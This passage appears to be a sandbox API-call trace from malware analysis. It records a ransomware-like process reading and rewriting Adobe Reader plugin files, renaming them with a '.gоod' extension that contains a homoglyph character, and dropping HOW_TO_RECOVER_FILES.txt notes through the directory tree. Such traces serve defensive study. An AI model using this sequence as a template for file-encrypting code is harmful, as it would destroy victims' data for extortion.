(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ea230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js", lpFilePart=0x0) returned 0x97 [0266.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea750) returned 1 [0266.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0266.729] GetFileType (hFile=0x768) returned 0x1 [0266.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea6c0) returned 1 [0266.729] GetFileType (hFile=0x768) returned 0x1 [0266.729] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x203ea8f8 | out: lpFileSizeHigh=0x203ea8f8*=0x0) returned 0xc85 [0266.729] ReadFile (in: hFile=0x768, lpBuffer=0x395d1e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ea828, lpOverlapped=0x0 | out: lpBuffer=0x395d1e0*, lpNumberOfBytesRead=0x203ea828*=0xc85, lpOverlapped=0x0) returned 1 [0266.775] CloseHandle (hObject=0x768) returned 1 [0266.817] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ea230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js", lpFilePart=0x0) returned 0x97 [0266.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea750) returned 1 [0266.817] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.818] GetFileType (hFile=0x834) returned 0x1 [0266.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea6c0) returned 1 [0266.818] GetFileType (hFile=0x834) returned 0x1 [0266.818] WriteFile (in: hFile=0x834, lpBuffer=0x3877080*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x203ea738, lpOverlapped=0x0 | out: lpBuffer=0x3877080*, lpNumberOfBytesWritten=0x203ea738*=0xc90, lpOverlapped=0x0) returned 1 [0266.819] CloseHandle (hObject=0x834) returned 1 [0266.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js", lpFilePart=0x0) returned 0x97 [0266.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js.gоod", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js.gоod", lpFilePart=0x0) returned 0x9c [0266.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea860) returned 1 [0266.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x203ea940 | out: lpFileInformation=0x203ea940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9b3f2dda, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc90)) returned 1 [0266.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea820) returned 1 [0266.819] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js.gоod")) returned 1 [0266.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js", lpFilePart=0x0) returned 0x99 [0266.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea8a0) returned 1 [0266.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x38784f0 | out: lpFileInformation=0x38784f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995)) returned 1 [0266.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea860) returned 1 [0266.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js", nBufferLength=0x105, lpBuffer=0x203ea230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js", lpFilePart=0x0) returned 0x99 [0266.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea750) returned 1 [0266.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.821] GetFileType (hFile=0x834) returned 0x1 [0266.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea6c0) returned 1 [0266.821] GetFileType (hFile=0x834) returned 0x1 [0266.821] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203ea8f8 | out: lpFileSizeHigh=0x203ea8f8*=0x0) returned 0x995 [0266.821] ReadFile (in: hFile=0x834, lpBuffer=0x3879270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ea828, lpOverlapped=0x0 | out: lpBuffer=0x3879270*, lpNumberOfBytesRead=0x203ea828*=0x995, lpOverlapped=0x0) returned 1 [0266.822] CloseHandle (hObject=0x834) returned 1 [0266.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js", nBufferLength=0x105, lpBuffer=0x203ea230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js", lpFilePart=0x0) returned 0x99 [0266.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea750) returned 1 [0266.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.849] GetFileType (hFile=0x834) returned 0x1 [0266.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea6c0) returned 1 [0266.849] GetFileType (hFile=0x834) returned 0x1 [0266.849] WriteFile (in: hFile=0x834, lpBuffer=0x38f3d80*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x203ea738, lpOverlapped=0x0 | out: lpBuffer=0x38f3d80*, lpNumberOfBytesWritten=0x203ea738*=0x9a0, lpOverlapped=0x0) returned 1 [0266.849] CloseHandle (hObject=0x834) returned 1 [0266.849] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js", lpFilePart=0x0) returned 0x99 [0266.849] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js.gоod", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js.gоod", lpFilePart=0x0) returned 0x9e [0266.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea860) returned 1 [0266.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x203ea940 | out: lpFileInformation=0x203ea940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9b43f296, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9a0)) returned 1 [0266.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea820) returned 1 [0266.850] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\selector.js.gоod")) returned 1 [0266.851] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ea540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0xa6 [0266.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eaa60) returned 1 [0266.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0267.109] GetFileType (hFile=0x768) returned 0x1 [0267.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea9d0) returned 1 [0267.111] GetFileType (hFile=0x768) returned 0x1 [0267.151] WriteFile (in: hFile=0x768, lpBuffer=0x39b3210*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eab28, lpOverlapped=0x0 | out: lpBuffer=0x39b3210*, lpNumberOfBytesWritten=0x203eab28*=0x5d0, lpOverlapped=0x0) returned 1 [0267.152] CloseHandle (hObject=0x768) returned 1 [0267.152] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0xa1 [0267.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0267.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0267.154] GetFileType (hFile=0x768) returned 0x1 [0267.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0267.154] GetFileType (hFile=0x768) returned 0x1 [0267.155] WriteFile (in: hFile=0x768, lpBuffer=0x39b6be8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x39b6be8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0267.155] CloseHandle (hObject=0x768) returned 1 [0267.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x88 [0267.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebec0) returned 1 [0267.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0267.156] GetFileType (hFile=0x768) returned 0x1 [0267.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe30) returned 1 [0267.156] GetFileType (hFile=0x768) returned 0x1 [0267.157] WriteFile (in: hFile=0x768, lpBuffer=0x39ba560*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ebf88, lpOverlapped=0x0 | out: lpBuffer=0x39ba560*, lpNumberOfBytesWritten=0x203ebf88*=0x5d0, lpOverlapped=0x0) returned 1 [0267.157] CloseHandle (hObject=0x768) returned 1 [0267.157] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x80 [0267.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0267.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0267.158] GetFileType (hFile=0x768) returned 0x1 [0267.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0267.158] GetFileType (hFile=0x768) returned 0x1 [0267.159] WriteFile (in: hFile=0x768, lpBuffer=0x39bdeb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x39bdeb8*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0267.159] CloseHandle (hObject=0x768) returned 1 [0267.159] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7d [0267.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed320) returned 1 [0267.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0267.160] GetFileType (hFile=0x768) returned 0x1 [0267.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed290) returned 1 [0267.160] GetFileType (hFile=0x768) returned 0x1 [0267.161] WriteFile (in: hFile=0x768, lpBuffer=0x39c1800*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ed3e8, lpOverlapped=0x0 | out: lpBuffer=0x39c1800*, lpNumberOfBytesWritten=0x203ed3e8*=0x5d0, lpOverlapped=0x0) returned 1 [0267.161] CloseHandle (hObject=0x768) returned 1 [0267.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0267.161] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app", lpFilePart=0x0) returned 0x72 [0267.161] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0267.162] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.162] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0267.162] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0267.162] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0267.163] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0267.163] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0267.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0267.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0267.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0267.165] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app", lpFilePart=0x0) returned 0x72 [0267.165] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, 